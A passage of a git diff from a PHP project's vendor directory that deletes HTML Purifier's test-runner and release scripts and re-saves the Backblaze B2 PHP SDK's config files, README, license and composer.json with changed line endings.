                                '; - echo $string; -} - -/** - * Convenient "insta-fail" test-case to add if any outside things fail - */ -class FailedTest extends UnitTestCase -{ - protected $msg, $details; - public function __construct($msg, $details = null) - { - $this->msg = $msg; - $this->details = $details; - } - public function test() - { - $this->fail($this->msg); - if ($this->details) $this->reporter->paintFormattedMessage($this->details); - } -} - -/** - * Flushes all caches, and fatally errors out if there's a problem. - */ -function htmlpurifier_flush($php, $reporter) -{ - exec($php . ' ../maintenance/flush.php ' . $php . ' 2>&1', $out, $status); - if ($status) { - $test = new FailedTest( - 'maintenance/flush.php returned non-zero exit status', - wordwrap(implode("\n", $out), 80) - ); - $test->run($reporter); - exit(1); - } -} - -/** - * Dumps error queue, useful if there has been a fatal error. - */ -function htmlpurifier_dump_error_queue() -{ - $context = SimpleTest::getContext(); - $queue = $context->get('SimpleErrorQueue'); - while (($error = $queue->extract()) !== false) { - var_dump($error); - } -} -register_shutdown_function('htmlpurifier_dump_error_queue'); - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/default_load.php b/vendor/ezyang/htmlpurifier/tests/default_load.php deleted file mode 100644 index c77926b917..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/default_load.php +++ /dev/null @@ -1,3 +0,0 @@ - 'file', - 'h' => 'help', - 'v' => 'verbose', -); - -// It's important that this does not call the autoloader. Not a problem -// with a function, but could be if we put this in a class. -htmlpurifier_parse_args($AC, $aliases); - -if ($AC['help']) { -?>HTML Purifier test suite -Allowed options: - --flush - --standalone - --file (-f) HTMLPurifier/NameOfTest.php - --xml - --txt - --dry - --php /path/to/php - --type ( htmlpurifier | configdoc | fstools | htmlt | vtest | phpt ) - --disable-phpt - --verbose (-v) -addDecorator('Memory'); // since we deal with a lot of config objects - -if (!$AC['disable-phpt']) { - $phpt = PHPT_Registry::getInstance(); - $phpt->php = $AC['php']; -} - -// load tests -require 'test_files.php'; - -$FS = new FSTools(); - -// handle test dirs -foreach ($test_dirs as $dir) { - $raw_files = $FS->globr($dir, '*Test.php'); - foreach ($raw_files as $file) { - $file = str_replace('\\', '/', $file); - if (isset($test_dirs_exclude[$file])) continue; - $test_files[] = $file; - } -} - -// handle vtest dirs -foreach ($vtest_dirs as $dir) { - $raw_files = $FS->globr($dir, '*.vtest'); - foreach ($raw_files as $file) { - $test_files[] = str_replace('\\', '/', $file); - } -} - -// handle phpt files -foreach ($phpt_dirs as $dir) { - $phpt_files = $FS->globr($dir, '*.phpt'); - foreach ($phpt_files as $file) { - $test_files[] = str_replace('\\', '/', $file); - } -} - -// handle htmlt dirs -foreach ($htmlt_dirs as $dir) { - $htmlt_files = $FS->globr($dir, '*.htmlt'); - foreach ($htmlt_files as $file) { - $test_files[] = str_replace('\\', '/', $file); - } -} - -array_unique($test_files); -sort($test_files); // for the SELECT -$GLOBALS['HTMLPurifierTest']['Files'] = $test_files; // for the reporter -$test_file_lookup = array_flip($test_files); - -// determine test file -if ($AC['file']) { - if (!isset($test_file_lookup[$AC['file']])) { - echo "Invalid file passed\n"; - exit; - } -} - -if ($AC['file']) { - - $test = new TestSuite($AC['file']); - htmlpurifier_add_test($test, $AC['file']); - -} else { - - $standalone = ''; - if ($AC['standalone']) $standalone = ' (standalone)'; - $test = new TestSuite('All HTML Purifier tests on PHP ' . PHP_VERSION . $standalone); - foreach ($test_files as $test_file) { - htmlpurifier_add_test($test, $test_file); - } - -} - -if ($AC['dry']) $reporter->makeDry(); - -$result = $test->run($reporter); - -if ($result) { - exit(0); // Success! -} else { - exit(1); // Abject failure. -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/multitest.php b/vendor/ezyang/htmlpurifier/tests/multitest.php deleted file mode 100644 index d49115daa1..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/multitest.php +++ /dev/null @@ -1,159 +0,0 @@ - 'file', - 'q' => 'quiet', - 'v' => 'verbose', -); -htmlpurifier_parse_args($AC, $aliases); - -// Backwards compat extra parsing -if ($AC['only-phpt']) { - $AC['type'] = 'phpt'; -} -if ($AC['exclude-normal']) $AC['distro'] = 'standalone'; -elseif ($AC['exclude-standalone']) $AC['distro'] = 'normal'; -elseif ($AC['standalone']) $AC['distro'] = 'standalone'; - -if ($AC['xml']) { - $reporter = new XmlReporter(); -} else { - $reporter = new HTMLPurifier_SimpleTest_TextReporter($AC); -} - -// Regenerate any necessary files -if (!$AC['disable-flush']) htmlpurifier_flush($AC['php'], $reporter); - -$file_arg = ''; -require 'test_files.php'; -if ($AC['file']) { - $test_files_lookup = array_flip($test_files); - if (isset($test_files_lookup[$AC['file']])) { - $file_arg = '--file=' . $AC['file']; - } else { - throw new Exception("Invalid file passed"); - } -} -// This allows us to get out of having to do dry runs. -$size = count($test_files); - -$type_arg = ''; -if ($AC['type']) $type_arg = '--type=' . $AC['type']; - -if ($AC['quick']) { - $seriesArray = array(); - foreach ($versions_to_test as $version) { - $series = substr($version, 0, strpos($version, '.', strpos($version, '.') + 1)); - if (!isset($seriesArray[$series])) { - $seriesArray[$series] = $version; - continue; - } - if (version_compare($version, $seriesArray[$series], '>')) { - $seriesArray[$series] = $version; - } - } - $versions_to_test = array_values($seriesArray); -} - -// Setup the test -$test = new TestSuite('HTML Purifier Multiple Versions Test'); -foreach ($versions_to_test as $version) { - // Support for arbitrarily forcing flushes by wrapping the suspect - // version name in an array() - $flush_arg = ''; - if (is_array($version)) { - $version = $version[0]; - $flush_arg = '--flush'; - } - if ($AC['type'] !== 'phpt') { - $break = true; - switch ($AC['distro']) { - case '': - $break = false; - case 'normal': - $test->add( - new CliTestCase( - "$phpv $version index.php --xml $flush_arg $type_arg --disable-phpt $file_arg", - $AC['quiet'], $size - ) - ); - if ($break) break; - case 'standalone': - $test->add( - new CliTestCase( - "$phpv $version index.php --xml $flush_arg $type_arg --standalone --disable-phpt $file_arg", - $AC['quiet'], $size - ) - ); - if ($break) break; - } - } - if (!$AC['disable-phpt'] && (!$AC['type'] || $AC['type'] == 'phpt')) { - $test->add( - new CliTestCase( - $AC['php'] . " index.php --xml --php \"$phpv $version\" --type=phpt", - $AC['quiet'], $size - ) - ); - } -} - -// This is the HTML Purifier website's test XML file. We could -// add more websites, i.e. more configurations to test. -// $test->add(new RemoteTestCase('http://htmlpurifier.org/dev/tests/?xml=1', 'http://htmlpurifier.org/dev/tests/?xml=1&dry=1&flush=1')); - -$test->run($reporter); - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/path2class.func.php b/vendor/ezyang/htmlpurifier/tests/path2class.func.php deleted file mode 100644 index 554b58d2ac..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/path2class.func.php +++ /dev/null @@ -1,15 +0,0 @@ -=')) { - // $test_dirs[] = 'ConfigDoc'; // no test files currently! - } - if ($break) break; - case 'fstools': - $test_dirs[] = 'FSTools'; - case 'htmlt': - $htmlt_dirs[] = 'HTMLPurifier/HTMLT'; - if ($break) break; - case 'vtest': - $vtest_dirs[] = 'HTMLPurifier/ConfigSchema/Validator'; - if ($break) break; - - case 'phpt': - if (!$AC['disable-phpt'] && version_compare(PHP_VERSION, '5.2', '>=')) { - $phpt_dirs[] = 'HTMLPurifier/PHPT'; - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/tmp/README b/vendor/ezyang/htmlpurifier/tests/tmp/README deleted file mode 100644 index ba005de737..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/tmp/README +++ /dev/null @@ -1,3 +0,0 @@ -This is a dummy file to prevent Git from ignoring this empty directory. - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/update-for-release b/vendor/ezyang/htmlpurifier/update-for-release deleted file mode 100644 index 413eadfed3..0000000000 --- a/vendor/ezyang/htmlpurifier/update-for-release +++ /dev/null @@ -1,110 +0,0 @@ - 1) { - echo 'More than one release declaration in NEWS replaced' . PHP_EOL; - exit; - } - file_put_contents('NEWS', $news_c); -} - -// ...in Doxyfile -$doxyfile_c = preg_replace( - '/(?<=PROJECT_NUMBER {9}= )[^\s]+/m', // brittle - $version, - file_get_contents('Doxyfile'), - 1, $c -); -if (!$c) { - echo 'Could not update Doxyfile, missing PROJECT_NUMBER.' . PHP_EOL; - exit; -} -file_put_contents('Doxyfile', $doxyfile_c); - -// ...in HTMLPurifier.php -$htmlpurifier_c = file_get_contents('library/HTMLPurifier.php'); -$htmlpurifier_c = preg_replace( - '/HTML Purifier .+? - /', - "HTML Purifier $version - ", - $htmlpurifier_c, - 1, $c -); -if (!$c) { - echo 'Could not update HTMLPurifier.php, missing HTML Purifier [version] header.' . PHP_EOL; - exit; -} -$htmlpurifier_c = preg_replace( - '/public \$version = \'.+?\';/', - "public \$version = '$version';", - $htmlpurifier_c, - 1, $c -); -if (!$c) { - echo 'Could not update HTMLPurifier.php, missing public $version.' . PHP_EOL; - exit; -} -$htmlpurifier_c = preg_replace( - '/const VERSION = \'.+?\';/', - "const VERSION = '$version';", - $htmlpurifier_c, - 1, $c -); -if (!$c) { - echo 'Could not update HTMLPurifier.php, missing const $version.' . PHP_EOL; - exit; -} -file_put_contents('library/HTMLPurifier.php', $htmlpurifier_c); - -$config_c = file_get_contents('library/HTMLPurifier/Config.php'); -$config_c = preg_replace( - '/public \$version = \'.+?\';/', - "public \$version = '$version';", - $config_c, - 1, $c -); -if (!$c) { - echo 'Could not update Config.php, missing public $version.' . PHP_EOL; - exit; -} -file_put_contents('library/HTMLPurifier/Config.php', $config_c); - -passthru('maintenance/flush.sh'); - -if ($is_dev) echo "Review changes, write something in WHATSNEW, and then commit with log 'Release $version.'" . PHP_EOL; -else echo "Numbers updated to dev, no other modifications necessary!"; - -// vim: et sw=4 sts=4 diff --git a/vendor/gliterd/backblaze-b2/.gitignore b/vendor/gliterd/backblaze-b2/.gitignore new file mode 100644 index 0000000000..5ab55b8ea1 --- /dev/null +++ b/vendor/gliterd/backblaze-b2/.gitignore @@ -0,0 +1,8 @@ +build +composer.lock +docs +vendor +coverage +coverage.xml +.idea/ +.phpunit.result.cache \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/.scrutinizer.yml b/vendor/gliterd/backblaze-b2/.scrutinizer.yml index 2cd6426450..375acc30a3 100644 --- a/vendor/gliterd/backblaze-b2/.scrutinizer.yml +++ b/vendor/gliterd/backblaze-b2/.scrutinizer.yml @@ -1,33 +1,33 @@ -filter: - paths: [src/*] -checks: - php: - code_rating: true - remove_extra_empty_lines: true - remove_php_closing_tag: true - remove_trailing_whitespace: true - fix_use_statements: - remove_unused: true - preserve_multiple: false - preserve_blanklines: true - order_alphabetically: true - fix_php_opening_tag: true - fix_linefeed: true - fix_line_ending: true - fix_identation_4spaces: true - fix_doc_comments: true -tools: - php_code_coverage: true - php_code_sniffer: - config: - standard: PSR2 - filter: - paths: ['src'] - php_loc: - enabled: true - php_cpd: - enabled: true -build: - environment: - php: +filter: + paths: [src/*] +checks: + php: + code_rating: true + remove_extra_empty_lines: true + remove_php_closing_tag: true + remove_trailing_whitespace: true + fix_use_statements: + remove_unused: true + preserve_multiple: false + preserve_blanklines: true + order_alphabetically: true + fix_php_opening_tag: true + fix_linefeed: true + fix_line_ending: true + fix_identation_4spaces: true + fix_doc_comments: true +tools: + php_code_coverage: true + php_code_sniffer: + config: + standard: PSR2 + filter: + paths: ['src'] + php_loc: + enabled: true + php_cpd: + enabled: true +build: + environment: + php: version: 7.2 \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/.travis.yml b/vendor/gliterd/backblaze-b2/.travis.yml index 859e8d65d3..1d3e7f17e8 100644 --- a/vendor/gliterd/backblaze-b2/.travis.yml +++ b/vendor/gliterd/backblaze-b2/.travis.yml @@ -1,9 +1,9 @@ -language: php - -php: - - '7.2' - - '7.3' - - '7.4' - - '8.0' - -before_script: composer install +language: php + +php: + - '7.2' + - '7.3' + - '7.4' + - '8.0' + +before_script: composer install diff --git a/vendor/gliterd/backblaze-b2/CHANGELOG.md b/vendor/gliterd/backblaze-b2/CHANGELOG.md index d527cedee6..46eaf40cc2 100644 --- a/vendor/gliterd/backblaze-b2/CHANGELOG.md +++ b/vendor/gliterd/backblaze-b2/CHANGELOG.md @@ -1,22 +1,22 @@ -# Changelog - -All Notable changes to `gliterd/backblaze-b2` will be documented in this file. - -Updates should follow the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## NEXT - YYYY-MM-DD - -### Added -- Nothing - -### Deprecated -- Nothing - -### Fixed -- Nothing - -### Removed -- Nothing - -### Security -- Nothing +# Changelog + +All Notable changes to `gliterd/backblaze-b2` will be documented in this file. + +Updates should follow the [Keep a CHANGELOG](http://keepachangelog.com/) principles. + +## NEXT - YYYY-MM-DD + +### Added +- Nothing + +### Deprecated +- Nothing + +### Fixed +- Nothing + +### Removed +- Nothing + +### Security +- Nothing diff --git a/vendor/gliterd/backblaze-b2/CONTRIBUTING.md b/vendor/gliterd/backblaze-b2/CONTRIBUTING.md index d114bcb952..0de14aa73c 100644 --- a/vendor/gliterd/backblaze-b2/CONTRIBUTING.md +++ b/vendor/gliterd/backblaze-b2/CONTRIBUTING.md @@ -1,32 +1,32 @@ -# Contributing - -Contributions are **welcome** and will be fully **credited**. - -We accept contributions via Pull Requests on [Github](https://github.com/mhetreramesh/flysystem-backblaze). - - -## Pull Requests - -- **[PSR-2 Coding Standard](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-2-coding-style-guide.md)** - The easiest way to apply the conventions is to install [PHP Code Sniffer](http://pear.php.net/package/PHP_CodeSniffer). - -- **Add tests!** - Your patch won't be accepted if it doesn't have tests. - -- **Document any change in behaviour** - Make sure the `README.md` and any other relevant documentation are kept up-to-date. - -- **Consider our release cycle** - We try to follow [SemVer v2.0.0](http://semver.org/). Randomly breaking public APIs is not an option. - -- **Create feature branches** - Don't ask us to pull from your master branch. - -- **One pull request per feature** - If you want to do more than one thing, send multiple pull requests. - -- **Send coherent history** - Make sure each individual commit in your pull request is meaningful. If you had to make multiple intermediate commits while developing, please [squash them](http://www.git-scm.com/book/en/v2/Git-Tools-Rewriting-History#Changing-Multiple-Commit-Messages) before submitting. - - -## Running Tests - -``` bash -$ composer test -``` - - -**Happy coding**! +# Contributing + +Contributions are **welcome** and will be fully **credited**. + +We accept contributions via Pull Requests on [Github](https://github.com/mhetreramesh/flysystem-backblaze). + + +## Pull Requests + +- **[PSR-2 Coding Standard](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-2-coding-style-guide.md)** - The easiest way to apply the conventions is to install [PHP Code Sniffer](http://pear.php.net/package/PHP_CodeSniffer). + +- **Add tests!** - Your patch won't be accepted if it doesn't have tests. + +- **Document any change in behaviour** - Make sure the `README.md` and any other relevant documentation are kept up-to-date. + +- **Consider our release cycle** - We try to follow [SemVer v2.0.0](http://semver.org/). Randomly breaking public APIs is not an option. + +- **Create feature branches** - Don't ask us to pull from your master branch. + +- **One pull request per feature** - If you want to do more than one thing, send multiple pull requests. + +- **Send coherent history** - Make sure each individual commit in your pull request is meaningful. If you had to make multiple intermediate commits while developing, please [squash them](http://www.git-scm.com/book/en/v2/Git-Tools-Rewriting-History#Changing-Multiple-Commit-Messages) before submitting. + + +## Running Tests + +``` bash +$ composer test +``` + + +**Happy coding**! diff --git a/vendor/gliterd/backblaze-b2/LICENSE b/vendor/gliterd/backblaze-b2/LICENSE index 82146f350a..78120aaba3 100644 --- a/vendor/gliterd/backblaze-b2/LICENSE +++ b/vendor/gliterd/backblaze-b2/LICENSE @@ -1,21 +1,21 @@ -MIT License - -Copyright (c) 2017 Gliterd Software - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. +MIT License + +Copyright (c) 2017 Gliterd Software + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/vendor/gliterd/backblaze-b2/README.md b/vendor/gliterd/backblaze-b2/README.md index 3a1af4e809..5f1a269c68 100644 --- a/vendor/gliterd/backblaze-b2/README.md +++ b/vendor/gliterd/backblaze-b2/README.md @@ -1,159 +1,159 @@ -## Backblaze B2 for PHP - -[![Author](http://img.shields.io/badge/author-@mhetreramesh-blue.svg?style=flat-square)](https://twitter.com/mhetreramesh) -[![Latest Version on Packagist](https://img.shields.io/packagist/v/gliterd/backblaze-b2.svg?style=flat-square)](https://packagist.org/packages/gliterd/backblaze-b2) -[![Software License][ico-license]](LICENSE.md) -[![Build Status](https://img.shields.io/travis/gliterd/backblaze-b2/master.svg?style=flat-square)](https://travis-ci.org/gliterd/backblaze-b2) -[![Coverage Status][ico-scrutinizer]][link-scrutinizer] -[![Quality Score][ico-code-quality]][link-code-quality] -[![Total Downloads](https://img.shields.io/packagist/dt/gliterd/backblaze-b2.svg?style=flat-square)](https://packagist.org/packages/gliterd/backblaze-b2) - -`backblaze-b2` is the SDK for working with Backblaze's B2 storage service. - -## Install - -Via Composer - -``` bash -$ composer require gliterd/backblaze-b2 -``` - -## Usage - -``` php -use BackblazeB2\Client; -use BackblazeB2\Bucket; - -$options = ['auth_timeout_seconds' => seconds]; - -$client = new Client('accountId', 'applicationKey', $options); -``` -_$options_ is optional. If omitted, the default timeout is 12 hours. The timeout allows for a long lived Client object -so that the authorization token does not expire. -## *ApplicationKey is not supported yet, please use MasterKey only* - -#### Returns a bucket details -``` php -$bucket = $client->createBucket([ - 'BucketName' => 'my-special-bucket', - 'BucketType' => Bucket::TYPE_PRIVATE // or TYPE_PUBLIC -]); -``` - -#### Change the bucket Type -``` php -$updatedBucket = $client->updateBucket([ - 'BucketId' => $bucket->getId(), - 'BucketType' => Bucket::TYPE_PUBLIC -]); -``` - -#### List all buckets -``` php -$buckets = $client->listBuckets(); -``` -#### Delete a bucket -``` php -$client->deleteBucket([ - 'BucketId' => 'YOUR_BUCKET_ID' -]); -``` - -#### File Upload -``` php -$file = $client->upload([ - 'BucketName' => 'my-special-bucket', - 'FileName' => 'path/to/upload/to', - 'Body' => 'I am the file content' - - // The file content can also be provided via a resource. - // 'Body' => fopen('/path/to/input', 'r') -]); -``` - -#### File Download -``` php -$fileContent = $client->download([ - 'FileId' => $file->getId() - - // Can also identify the file via bucket and path: - // 'BucketName' => 'my-special-bucket', - // 'FileName' => 'path/to/file' - - // Can also save directly to a location on disk. This will cause download() to not return file content. - // 'SaveAs' => '/path/to/save/location' -]); -``` - -#### File Copy -``` php -$copyOfFile = $client->copy([ - 'BucketName' => $bucketName, - 'FileName' => $path, - 'SaveAs' => $newPath, - - // Can also supply BucketId instead of BucketName - // Optional are DestinationBucketName or DestinationBucketId -]); -``` - -#### File Delete -``` php -$fileDelete = $client->deleteFile([ - 'FileId' => $file->getId() - - // Can also identify the file via bucket and path: - // 'BucketName' => 'my-special-bucket', - // 'FileName' => 'path/to/file' -]); -``` - -#### List all files -``` php -$fileList = $client->listFiles([ - 'BucketId' => 'YOUR_BUCKET_ID' -]); -``` - - -## Change log - -Please see [CHANGELOG](CHANGELOG.md) for more information what has changed recently. - -## Testing - -```bash -$ vendor/bin/phpunit -``` - - -## Contributing - -Please see [CONTRIBUTING](CONTRIBUTING.md) and [CONDUCT](CONDUCT.md) for details. - -## Security - -If you discover any security related issues, please email mhetreramesh@gmail.com instead of using the issue tracker. - -## Credits - -- [All Contributors][link-contributors] - -## License - -The MIT License (MIT). Please see [License File](LICENSE.md) for more information. - -[ico-version]: https://img.shields.io/packagist/v/gliterd/backblaze-b2.svg?style=flat-square -[ico-license]: https://img.shields.io/badge/license-MIT-brightgreen.svg?style=flat-square -[ico-travis]: https://img.shields.io/travis/gliterd/backblaze-b2/master.svg?style=flat-square -[ico-scrutinizer]: https://img.shields.io/scrutinizer/coverage/g/gliterd/backblaze-b2.svg?style=flat-square -[ico-code-quality]: https://img.shields.io/scrutinizer/g/gliterd/backblaze-b2.svg?style=flat-square -[ico-downloads]: https://img.shields.io/packagist/dt/gliterd/backblaze-b2.svg?style=flat-square - -[link-packagist]: https://packagist.org/packages/gliterd/backblaze-b2 -[link-travis]: https://travis-ci.org/gliterd/backblaze-b2 -[link-scrutinizer]: https://scrutinizer-ci.com/g/gliterd/backblaze-b2/code-structure -[link-code-quality]: https://scrutinizer-ci.com/g/gliterd/backblaze-b2 -[link-downloads]: https://packagist.org/packages/gliterd/backblaze-b2 -[link-author]: https://github.com/gliterd -[link-contributors]: ../../contributors +## Backblaze B2 for PHP + +[![Author](http://img.shields.io/badge/author-@mhetreramesh-blue.svg?style=flat-square)](https://twitter.com/mhetreramesh) +[![Latest Version on Packagist](https://img.shields.io/packagist/v/gliterd/backblaze-b2.svg?style=flat-square)](https://packagist.org/packages/gliterd/backblaze-b2) +[![Software License][ico-license]](LICENSE.md) +[![Build Status](https://img.shields.io/travis/gliterd/backblaze-b2/master.svg?style=flat-square)](https://travis-ci.org/gliterd/backblaze-b2) +[![Coverage Status][ico-scrutinizer]][link-scrutinizer] +[![Quality Score][ico-code-quality]][link-code-quality] +[![Total Downloads](https://img.shields.io/packagist/dt/gliterd/backblaze-b2.svg?style=flat-square)](https://packagist.org/packages/gliterd/backblaze-b2) + +`backblaze-b2` is the SDK for working with Backblaze's B2 storage service. + +## Install + +Via Composer + +``` bash +$ composer require gliterd/backblaze-b2 +``` + +## Usage + +``` php +use BackblazeB2\Client; +use BackblazeB2\Bucket; + +$options = ['auth_timeout_seconds' => seconds]; + +$client = new Client('accountId', 'applicationKey', $options); +``` +_$options_ is optional. If omitted, the default timeout is 12 hours. The timeout allows for a long lived Client object +so that the authorization token does not expire. +## *ApplicationKey is not supported yet, please use MasterKey only* + +#### Returns a bucket details +``` php +$bucket = $client->createBucket([ + 'BucketName' => 'my-special-bucket', + 'BucketType' => Bucket::TYPE_PRIVATE // or TYPE_PUBLIC +]); +``` + +#### Change the bucket Type +``` php +$updatedBucket = $client->updateBucket([ + 'BucketId' => $bucket->getId(), + 'BucketType' => Bucket::TYPE_PUBLIC +]); +``` + +#### List all buckets +``` php +$buckets = $client->listBuckets(); +``` +#### Delete a bucket +``` php +$client->deleteBucket([ + 'BucketId' => 'YOUR_BUCKET_ID' +]); +``` + +#### File Upload +``` php +$file = $client->upload([ + 'BucketName' => 'my-special-bucket', + 'FileName' => 'path/to/upload/to', + 'Body' => 'I am the file content' + + // The file content can also be provided via a resource. + // 'Body' => fopen('/path/to/input', 'r') +]); +``` + +#### File Download +``` php +$fileContent = $client->download([ + 'FileId' => $file->getId() + + // Can also identify the file via bucket and path: + // 'BucketName' => 'my-special-bucket', + // 'FileName' => 'path/to/file' + + // Can also save directly to a location on disk. This will cause download() to not return file content. + // 'SaveAs' => '/path/to/save/location' +]); +``` + +#### File Copy +``` php +$copyOfFile = $client->copy([ + 'BucketName' => $bucketName, + 'FileName' => $path, + 'SaveAs' => $newPath, + + // Can also supply BucketId instead of BucketName + // Optional are DestinationBucketName or DestinationBucketId +]); +``` + +#### File Delete +``` php +$fileDelete = $client->deleteFile([ + 'FileId' => $file->getId() + + // Can also identify the file via bucket and path: + // 'BucketName' => 'my-special-bucket', + // 'FileName' => 'path/to/file' +]); +``` + +#### List all files +``` php +$fileList = $client->listFiles([ + 'BucketId' => 'YOUR_BUCKET_ID' +]); +``` + + +## Change log + +Please see [CHANGELOG](CHANGELOG.md) for more information what has changed recently. + +## Testing + +```bash +$ vendor/bin/phpunit +``` + + +## Contributing + +Please see [CONTRIBUTING](CONTRIBUTING.md) and [CONDUCT](CONDUCT.md) for details. + +## Security + +If you discover any security related issues, please email mhetreramesh@gmail.com instead of using the issue tracker. + +## Credits + +- [All Contributors][link-contributors] + +## License + +The MIT License (MIT). Please see [License File](LICENSE.md) for more information. + +[ico-version]: https://img.shields.io/packagist/v/gliterd/backblaze-b2.svg?style=flat-square +[ico-license]: https://img.shields.io/badge/license-MIT-brightgreen.svg?style=flat-square +[ico-travis]: https://img.shields.io/travis/gliterd/backblaze-b2/master.svg?style=flat-square +[ico-scrutinizer]: https://img.shields.io/scrutinizer/coverage/g/gliterd/backblaze-b2.svg?style=flat-square +[ico-code-quality]: https://img.shields.io/scrutinizer/g/gliterd/backblaze-b2.svg?style=flat-square +[ico-downloads]: https://img.shields.io/packagist/dt/gliterd/backblaze-b2.svg?style=flat-square + +[link-packagist]: https://packagist.org/packages/gliterd/backblaze-b2 +[link-travis]: https://travis-ci.org/gliterd/backblaze-b2 +[link-scrutinizer]: https://scrutinizer-ci.com/g/gliterd/backblaze-b2/code-structure +[link-code-quality]: https://scrutinizer-ci.com/g/gliterd/backblaze-b2 +[link-downloads]: https://packagist.org/packages/gliterd/backblaze-b2 +[link-author]: https://github.com/gliterd +[link-contributors]: ../../contributors diff --git a/vendor/gliterd/backblaze-b2/composer.json b/vendor/gliterd/backblaze-b2/composer.json index d44e1e6b0f..a05c0dd4af 100644 --- a/vendor/gliterd/backblaze-b2/composer.json +++ b/vendor/gliterd/backblaze-b2/composer.json @@ -1,44 +1,44 @@ -{ - "name": "gliterd/backblaze-b2", - "type": "library", - "description": "PHP SDK for working with backblaze B2 cloud storage.", - "keywords": ["cloud-storage", "b2", "storage", "backblaze", "cloud", "filesystem", "backup"], - "homepage": "https://github.com/gliterd/b2-sdk-php", - "license": "MIT", - "authors": [ - { - "name": "Ramesh Mhetre", - "email": "mhetreramesh@gmail.com", - "homepage": "https://gliterd.com", - "role": "Developer" - } - ], - "require": { - "php": "^7.2 || ^8.0", - "ext-json": "*", - "guzzlehttp/guzzle": "^6.1|^7.0", - "nesbot/carbon": "2.*" - }, - "require-dev": { - "phpunit/phpunit": "^8.5", - "scrutinizer/ocular": "~1.1", - "squizlabs/php_codesniffer": "~2.3" - }, - "autoload": { - "psr-4": { - "BackblazeB2\\": "src/" - } - }, - "autoload-dev": { - "psr-4": { - "BackblazeB2\\Tests\\": "tests/" - } - }, - "scripts": { - "test": "phpunit", - "format": "phpcbf --standard=psr2 src/" - }, - "config": { - "sort-packages": true - } -} +{ + "name": "gliterd/backblaze-b2", + "type": "library", + "description": "PHP SDK for working with backblaze B2 cloud storage.", + "keywords": ["cloud-storage", "b2", "storage", "backblaze", "cloud", "filesystem", "backup"], + "homepage": "https://github.com/gliterd/b2-sdk-php", + "license": "MIT", + "authors": [ + { + "name": "Ramesh Mhetre", + "email": "mhetreramesh@gmail.com", + "homepage": "https://gliterd.com", + "role": "Developer" + } + ], + "require": { + "php": "^7.2 || ^8.0", + "ext-json": "*", + "guzzlehttp/guzzle": "^6.1|^7.0", + "nesbot/carbon": "2.*" + }, + "require-dev": { + "phpunit/phpunit": "^8.5", + "scrutinizer/ocular": "~1.1", + "squizlabs/php_codesniffer": "~2.3" + }, + "autoload": { + "psr-4": { + "BackblazeB2\\": "src/" + } + }, + "autoload-dev": { + "psr-4": { + "BackblazeB2\\Tests\\": "tests/" + } + }, + "scripts": { + "test": "phpunit", + "format": "phpcbf --standard=psr2 src/" + }, + "config": { + "sort-packages": true + } +} diff --git a/vendor/gliterd/backblaze-b2/phpunit.hhvm.xml b/vendor/gliterd/backblaze-b2/phpunit.hhvm.xml index 2cdb2b8aa5..3b722c109e 100644 --- a/vendor/gliterd/backblaze-b2/phpunit.hhvm.xml +++ b/vendor/gliterd/backblaze-b2/phpunit.hhvm.xml @@ -1,24 +1,24 @@ - - - - - ./tests/ - - - - - ./src/ - - + + + + + ./tests/ + + + + + ./src/ + + \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/phpunit.php b/vendor/gliterd/backblaze-b2/phpunit.php index 45930fdc6e..a0bb447ce6 100644 --- a/vendor/gliterd/backblaze-b2/phpunit.php +++ b/vendor/gliterd/backblaze-b2/phpunit.php @@ -1,3 +1,3 @@ - - - - - ./tests/ - - - - - ./src/ - - - - - - - - + + + + + ./tests/ + + + + + ./src/ + + + + + + + + diff --git a/vendor/gliterd/backblaze-b2/src/Bucket.php b/vendor/gliterd/backblaze-b2/src/Bucket.php index 84b88d7e22..513fed018f 100644 --- a/vendor/gliterd/backblaze-b2/src/Bucket.php +++ 